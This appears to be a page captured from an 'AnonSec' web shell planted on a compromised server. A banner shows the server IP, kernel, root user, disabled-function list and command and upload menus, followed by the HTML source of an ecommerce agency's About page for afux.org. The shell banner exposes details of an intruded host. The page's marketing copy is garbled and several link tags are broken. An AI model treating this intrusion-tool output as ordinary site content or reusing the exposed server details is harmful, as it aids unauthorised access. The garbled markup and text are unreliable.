|
Server IP : 149.13.87.7 / Your IP : 185.174.145.2 Web Server : nginx System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : root ( 0) PHP Version : 8.0.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /mnt/platforms/workspaces/shortable.org/../afux.org/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>About Us - Afux</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.2.0/flowbite.min.css" rel="stylesheet" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=Plus+Jakarta+Sans:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Inter', sans-serif;
padding-top: 80px;
}
h1, h2, h3, h4, h5, h6 {
font-family: 'Plus Jakarta Sans', sans-serif;
}
@media (max-width: 768px) {
body {
padding-top: 72px;
}
}
</style>
<meta name="theme-variant" content="e71cd3ce19b493436029516049298956">
<link rel="stylesheet" href="assets/css/dynamic.css">
</head>
<body class="antialiased">
<nav class="bg-white border-b border-gray-200 fixed w-full z-50 top-0">
<div class="max-w-screen-xl mx-auto px-6 py-2 grid grid-cols-1 lg:grid-cols-3 gap-4 items-center">
<div class="flex items-center space-x-4">
<div class="w-12 h-12 rounded-xl bg-gradient-to-br from-purple-500 to-pink-600 flex items-center justify-center text-white text-xl font-black">
A </div>
<div>
<div class="text-xs uppercase tracking-[0.4em] text-gray-400">Global</div>
<div class="text-2xl font-bold text-gray-900">Afux</div>
</div>
</div>
<div class="hidden lg:flex items-center justify-center space-x-8">
<a href="./" class="text-gray-700 font-semibold hover:text-purpleHome</a>
<a href="about-us.php" class="text-gray-700 font-semibold hover:text-purple-600 transition">About</a>
<a href="blog/" class="text-gray-700 font-semibold hover:text-purpleBlog</a>
</div>
<div class="flex items-center justify-end space-x-4">
<div class="hidden md:flex items-center space-x-3 bg-gray-50 px-4 py-2 rounded-xl">
<div class="w-2 h-2 rounded-full bg-emerald-500 animate-pulse"></div>
<span class="text-sm text-gray-600">Currently onboarding clients</span>
</div>
<a href="contact.php" class="px-5 py-2 rounded-xl bg-gray-900 text-white font-semibold hover:bg-purple-600 transition">Contact</a>
<button data-collapse-toggle="navbar-19" type="button" class="lg:hidden inline-flex items-center justify-center w-11 h-11 rounded-lg bg-gray-100 text-gray-600">
<svg class="w-6 h-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" />
</svg>
</button>
</div>
</div>
<div class="hidden bg-white" id="navbar-19">
<div class="px-6 pb-6 space-y-4">
<a href="/Home</a>
<a href="about-us.php" class="block text-gray-700 font-semibold">About</a>
<a href="blog/" class="block text-gray-700 font-semibold">Blog</a>
<a href="contact.php" class="block text-center px-5 py-3 rounded-lg bg-gray-900 text-white font-semibold">Contact</a>
</div>
</div>
</nav>
<section class="relative py-24 overflow-hidden bg-white" id="about">
<div class="absolute inset-0 bg-gradient-to-br from-purple-50/30 via-transparent to-pink-50/30"></div>
<div class="max-w-screen-xl mx-auto px-4 relative z-10">
<div class="grid lg:grid-cols-2 gap-16 items-center">
<div class="order-2 lg:order-1">
<div class="inline-flex items-center gap-2 px-4 py-2 bg-purple-100 text-purple-700 rounded-full text-sm font-semibold mb-6">
<i class="fas fa-sparkles"></i>
Performance Enhancers </div>
<h2 class="text-5xl md:text-6xl font-black text-gray-900 mb-6 leading-tight">
Drive Sustainable Growth with Our Expert eCommerce Solutions </h2>
<div class="space-y-4 mb-8">
<p class="text-xl text-gray-600 leading-relaxed">
Experience the profound impact of as ecommerce experts, we know that understanding your target audience is key to driving sales and revenue. our digital marketing agency offers a range of solutions designed to help you connect with your target customers, from personalized email marketing campaigns to influencer partnerships and more. with our help, you can build lasting relationships with your customers and achieve long-term growth for your business. on your journey. </p>
</div>
<div class="grid grid-cols-2 gap-6 mb-8">
<div class="p-6 bg-gradient-to-br from-purple-50 to-white rounded-2xl border border-purple-100">
<div class="text-3xl font-black text-purple-600 mb-2">15+</div>
<div class="text-sm text-gray-600 font-semibold">Years Experience</div>
</div>
<div class="p-6 bg-gradient-to-br from-pink-50 to-white rounded-2xl border border-pink-100">
<div class="text-3xl font-black text-pink-600 mb-2">500+</div>
<div class="text-sm text-gray-600 font-semibold">Happy Clients</div>
</div>
</div>
<a href="#contact" class="inline-flex items-center gap-3 px-8 py-4 bg-gradient-to-r from-purple-600 to-pink-600 text-white font-bold rounded-xl hover:shadow-2xl hover:scale-105 transition-all">
Find More Answers <i class="fas fa-arrow-right"></i>
</a>
</div>
<div class="order-1 lg:order-2 relative">
<div class="relative z-10">
<div class="absolute -inset-6 bg-gradient-to-r from-purple-400 to-pink-500 rounded-3xl blur-3xl opacity-30"></div>
<img src="https://images.unsplash.com/photo-Q1p7bh3SHj8?w=1200&h=800&fit=crop&auto=format&q=80" alt="About" class="relative rounded-3xl shadow-2xl border-4 border-white">
</div>
<div class="absolute -bottom-6 -left-6 w-32 h-32 bg-purple-200 rounded-full blur-2xl opacity-50"></div>
<div class="absolute -top-6 -right-6 w-40 h-40 bg-pink-200 rounded-full blur-2xl opacity-50"></div>
</div>
</div>
</div>
</section>
<section class="py-24 bg-gradient-to-br from-purple-50 via-white to-pink-50" id="features">
<div class="max-w-screen-xl mx-auto px-4">
<div class="text-center mb-16">
<div class="inline-flex items-center gap-2 px-5 py-2.5 bg-purple-100 text-purple-700 rounded-full text-sm font-semibold mb-6">
<i class="fas fa-sparkles"></i>
Features
</div>
<h2 class="text-5xl md:text-6xl font-black text-gray-900 mb-4">Why Choose Us</h2>
<p class="text-xl text-gray-600 max-w-3xl mx-auto">Everything you need to succeed, all in one place</p>
</div>
<div class="grid md:grid-cols-2 lg:grid-cols-4 gap-8">
<div class="group bg-white rounded-2xl p-8 shadow-lg border border-gray-100 hover:shadow-2xl transition-all hover:-translate-y-2">
<div class="w-16 h-16 bg-gradient-to-br from-purple-500 to-pink-600 rounded-2xl flex items-center justify-center mb-6 group-hover:scale-110 transition-transform shadow-lg">
<i class="fas fa-rocket text-white text-2xl"></i>
</div>
<h3 class="text-xl font-black text-gray-900 mb-3">Fast Performance</h3>
<p class="text-gray-600">Lightning-fast results</p>
</div>
<div class="group bg-white rounded-2xl p-8 shadow-lg border border-gray-100 hover:shadow-2xl transition-all hover:-translate-y-2">
<div class="w-16 h-16 bg-gradient-to-br from-purple-500 to-pink-600 rounded-2xl flex items-center justify-center mb-6 group-hover:scale-110 transition-transform shadow-lg">
<i class="fas fa-shield-alt text-white text-2xl"></i>
</div>
<h3 class="text-xl font-black text-gray-900 mb-3">Secure & Safe</h3>
<p class="text-gray-600">Your data protected</p>
</div>
<div class="group bg-white rounded-2xl p-8 shadow-lg border border-gray-100 hover:shadow-2xl transition-all hover:-translate-y-2">
<div class="w-16 h-16 bg-gradient-to-br from-purple-500 to-pink-600 rounded-2xl flex items-center justify-center mb-6 group-hover:scale-110 transition-transform shadow-lg">
<i class="fas fa-headset text-white text-2xl"></i>
</div>
<h3 class="text-xl font-black text-gray-900 mb-3">24/7 Support</h3>
<p class="text-gray-600">Always here to help</p>
</div>
<div class="group bg-white rounded-2xl p-8 shadow-lg border border-gray-100 hover:shadow-2xl transition-all hover:-translate-y-2">
<div class="w-16 h-16 bg-gradient-to-br from-purple-500 to-pink-600 rounded-2xl flex items-center justify-center mb-6 group-hover:scale-110 transition-transform shadow-lg">
<i class="fas fa-chart-line text-white text-2xl"></i>
</div>
<h3 class="text-xl font-black text-gray-900 mb-3">Proven Results</h3>
<p class="text-gray-600">Track your success</p>
</div>
</div>
</div>
</section>
<section class="bg-gray-900 text-white py-20">
<div class="max-w-screen-xl mx-auto px-4">
<div class="grid md:grid-cols-4 gap-8">
<div class="text-center border-r border-gray-700 last:border-0">
<div class="text-5xl font-black text-purple-400 mb-2">500+</div>
<div class="text-gray-400">Happy Clients</div>
</div>
<div class="text-center border-r border-gray-700 last:border-0">
<div class="text-5xl font-black text-purple-400 mb-2">98%</div>
<div class="text-gray-400">Satisfaction Rate</div>
</div>
<div class="text-center border-r border-gray-700 last:border-0">
<div class="text-5xl font-black text-purple-400 mb-2">24/7</div>
<div class="text-gray-400">Support Available</div>
</div>
<div class="text-center">
<div class="text-5xl font-black text-purple-400 mb-2">15+</div>
<div class="text-gray-400">Years Experience</div>
</div>
</div>
</div>
</section>
<footer class="bg-gray-900 text-white">
<div class="max-w-screen-xl mx-auto px-6 py-16">
<div class="grid md:grid-cols-4 gap-10">
<div class="md:col-span-2 space-y-6">
<a href="./" class="inline-flex items-center space-x-3">
<div class="w-12 h-12 rounded-2xl bg-gradient-to-br from-purple-500 to-pink-600 flex items-center justify-center text-white text-xl font-black">
Af </div>
<span class="text-3xl font-black">Afux</span>
</a>
<p class="text-gray-400 max-w-lg">Transforming business brands with data-driven experiences and premium digital craftsmanship.</p>
<div class="flex items-center space-x-4 text-sm text-gray-400">
<span class="flex items-center space-x-2">
<i class="fas fa-phone text-emerald-400"></i><span>+1-917-958-4236</span>
</span>
<span class="flex items-center space-x-2">
<i class="fas fa-envelope text-emerald-400"></i><span>general@afux.org</span>
</span>
</div>
</div>
<div>
<h3 class="text-lg font-bold mb-4">Navigation</h3>
<ul class="space-y-3 text-gray-400">
<li><a href="/Home</a></li>
<li><a href="about-us.php" class="hover:text-white transition">Company</a></li>
<li><a href="blog/" class="hover:text-white transition">Blog</a></li>
</ul>
</div>
<div>
<h3 class="text-lg font-bold mb-4">Stay Updated</h3>
<form class="space-y-4">
<div class="relative">
<input type="email" placeholder="Your email" class="w-full px-4 py-3 rounded-xl bg-white/10 border border-white/10 text-white placeholder-white/40 focus:ring-2 focus:ring-purple-500 focus:border-transparent">
<button type="submit" class="absolute top-1/2 right-2 -translate-y-1/2 px-4 py-2 bg-white text-gray-900 font-semibold rounded-lg">Join</button>
</div>
<p class="text-xs text-gray-500">By subscribing you agree to our privacy policy.</p>
</form>
</div>
</div>
<div class="border-t border-white/10 mt-12 pt-8 flex flex-col md:flex-row md:items-center md:justify-between text-sm text-gray-500">
<span>© 2026 Afux. All rights reserved.</span>
<div class="flex space-x-6 mt-4 md:mt-0">
<a href="privacy.php" class="hover:text-white transition">Privacy</a>
<a href="terms.php" class="hover:text-white transition">Terms</a>
<a href="disclaimer.php" class="hover:text-white transition">Disclaimer</a>
</div>
</div>
</div>
</footer>
<script src="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.2.0/flowbite.min.js"></script>
</body>
</html>
AnonSec - 2021